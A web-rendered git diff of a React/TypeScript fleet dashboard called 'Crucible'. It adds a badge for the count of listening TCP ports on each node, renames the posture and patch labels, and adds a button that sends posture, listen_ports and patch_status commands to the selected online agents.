...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||||
|
|||||||
@@ -184,6 +184,18 @@
|
|||||||
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
|
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
|
||||||
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
|
|
||||||
|
/* ── PORTS chip ────────────────────────────────────────────────────────────── */
|
||||||
|
.cn-ports {
|
||||||
|
font-size: 0.62rem;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
padding: 1px 4px;
|
||||||
|
border-radius: 3px;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
cursor: default;
|
||||||
|
}
|
||||||
|
.cn-ports.ports-ok { color: #aaa; background: rgba(128,128,128,0.07); }
|
||||||
|
.cn-ports.ports-many { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||||
|
|
||||||
.cn-elevated {
|
.cn-elevated {
|
||||||
font-size: 0.62rem;
|
font-size: 0.62rem;
|
||||||
font-family: var(--font-tech);
|
font-family: var(--font-tech);
|
||||||
@@ -416,6 +428,16 @@
|
|||||||
border-color: var(--neon-green);
|
border-color: var(--neon-green);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.crucible-op-scan {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border-color: rgba(0,245,255,0.3);
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
.crucible-op-scan:hover:not(:disabled) {
|
||||||
|
background: rgba(0,245,255,0.08);
|
||||||
|
border-color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
.crucible-shell-tabs {
|
.crucible-shell-tabs {
|
||||||
display: flex;
|
display: flex;
|
||||||
gap: 0;
|
gap: 0;
|
||||||
|
|||||||
@@ -47,14 +47,19 @@ function sshBadge(agent: Agent) {
|
|||||||
|
|
||||||
function postureBadge(score?: number) {
|
function postureBadge(score?: number) {
|
||||||
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
||||||
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
|
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
|
||||||
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
|
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
|
||||||
return { label: `P:${score}`, cls: 'posture-bad' };
|
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
|
||||||
}
|
}
|
||||||
|
|
||||||
function patchLabel(days?: number) {
|
function patchLabel(days?: number) {
|
||||||
if (days === undefined) return null;
|
if (days === undefined) return null;
|
||||||
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||||||
|
}
|
||||||
|
|
||||||
|
function portsBadge(count?: number): { label: string; cls: string } | null {
|
||||||
|
if (count === undefined) return null;
|
||||||
|
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
|
||||||
}
|
}
|
||||||
|
|
||||||
function postureTooltip(agent: Agent): string {
|
function postureTooltip(agent: Agent): string {
|
||||||
@@ -66,6 +71,7 @@ function postureTooltip(agent: Agent): string {
|
|||||||
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
||||||
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
||||||
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
||||||
|
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
|
||||||
lines.push('──────────────────────');
|
lines.push('──────────────────────');
|
||||||
|
|
||||||
// Patch exposure
|
// Patch exposure
|
||||||
@@ -448,6 +454,27 @@ export default function CruciblePage() {
|
|||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Fires posture + listen_ports + patch_status in parallel for all selected online nodes.
|
||||||
|
const scanSelected = (targets?: Agent[]) => {
|
||||||
|
const tgts = targets ?? selectedAgents.filter(online);
|
||||||
|
if (tgts.length === 0) return;
|
||||||
|
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
|
||||||
|
for (const a of tgts) {
|
||||||
|
for (const cmd of cmds) {
|
||||||
|
api.sendAgentCommand(a.id, cmd).catch((err) => {
|
||||||
|
setTermLines((prev) => [
|
||||||
|
...prev,
|
||||||
|
{
|
||||||
|
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||||
|
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
|
||||||
|
ts: new Date(), success: false,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||||
if (e.key === 'Enter') { sendCmd(); return; }
|
if (e.key === 'Enter') { sendCmd(); return; }
|
||||||
if (e.key === 'ArrowUp') {
|
if (e.key === 'ArrowUp') {
|
||||||
@@ -476,7 +503,11 @@ export default function CruciblePage() {
|
|||||||
const o = postureOverride[a.id];
|
const o = postureOverride[a.id];
|
||||||
const score = o?.score ?? a.posture_score;
|
const score = o?.score ?? a.posture_score;
|
||||||
const patchDays = o?.patchDays ?? a.last_patch_days;
|
const patchDays = o?.patchDays ?? a.last_patch_days;
|
||||||
return { ...postureBadge(score), patch: patchLabel(patchDays) };
|
return {
|
||||||
|
...postureBadge(score),
|
||||||
|
patch: patchLabel(patchDays),
|
||||||
|
ports: portsBadge(a.listen_port_count),
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
// ── Render ─────────────────────────────────────────────────────────────
|
// ── Render ─────────────────────────────────────────────────────────────
|
||||||
@@ -554,11 +585,19 @@ export default function CruciblePage() {
|
|||||||
{posture.patch && (
|
{posture.patch && (
|
||||||
<div
|
<div
|
||||||
className={`cn-patch ${posture.patch.cls}`}
|
className={`cn-patch ${posture.patch.cls}`}
|
||||||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
|
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
|
||||||
>
|
>
|
||||||
{posture.patch.label}
|
{posture.patch.label}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{posture.ports && (
|
||||||
|
<div
|
||||||
|
className={`cn-ports ${posture.ports.cls}`}
|
||||||
|
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
|
||||||
|
>
|
||||||
|
{posture.ports.label}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
{(() => { const pb = pendingBadge(a); return pb && (
|
{(() => { const pb = pendingBadge(a); return pb && (
|
||||||
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
||||||
{pb.label}
|
{pb.label}
|
||||||
@@ -672,9 +711,9 @@ export default function CruciblePage() {
|
|||||||
className="button crucible-op-btn"
|
className="button crucible-op-btn"
|
||||||
disabled={selectedIds.size === 0}
|
disabled={selectedIds.size === 0}
|
||||||
onClick={() => probePosture()}
|
onClick={() => probePosture()}
|
||||||
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
|
title="Probe posture (AV, firewall, SSH, patch) on selected nodes"
|
||||||
>
|
>
|
||||||
Probe Selected
|
Probe Posture
|
||||||
</button>
|
</button>
|
||||||
<button
|
<button
|
||||||
className="button crucible-op-btn crucible-op-wake"
|
className="button crucible-op-btn crucible-op-wake"
|
||||||
@@ -682,7 +721,15 @@ export default function CruciblePage() {
|
|||||||
onClick={() => probePosture(agents.filter(online))}
|
onClick={() => probePosture(agents.filter(online))}
|
||||||
title="Probe ALL online nodes at once"
|
title="Probe ALL online nodes at once"
|
||||||
>
|
>
|
||||||
⚡ Probe All
|
⚡ Fleet Posture Scan
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
className="button crucible-op-btn crucible-op-scan"
|
||||||
|
disabled={selectedIds.size === 0}
|
||||||
|
onClick={() => scanSelected()}
|
||||||
|
title="Fire posture + listen_ports + patch_status in parallel on selected nodes"
|
||||||
|
>
|
||||||
|
⬡ Scan All Selected
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -24,6 +24,9 @@ export interface Agent {
|
|||||||
arch?: string;
|
arch?: string;
|
||||||
os_version?: string;
|
os_version?: string;
|
||||||
capabilities?: AgentCapabilities;
|
capabilities?: AgentCapabilities;
|
||||||
|
// Listen ports count (full list via listen_ports command)
|
||||||
|
listen_port_count?: number;
|
||||||
|
|
||||||
// DNS config — T1016
|
// DNS config — T1016
|
||||||
dns_servers?: string[];
|
dns_servers?: string[];
|
||||||
dns_search_domains?: string[];
|
dns_search_domains?: string[];
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ export interface WSStatsUpdate {
|
|||||||
uptime_seconds?: number;
|
uptime_seconds?: number;
|
||||||
shares_submitted?: number;
|
shares_submitted?: number;
|
||||||
shares_accepted?: number;
|
shares_accepted?: number;
|
||||||
|
listen_port_count?: number;
|
||||||
// DNS config — T1016
|
// DNS config — T1016
|
||||||
dns_servers?: string[];
|
dns_servers?: string[];
|
||||||
dns_search_domains?: string[];
|
dns_search_domains?: string[];
|
||||||
|
|||||||
Reference in New Issue
Block a user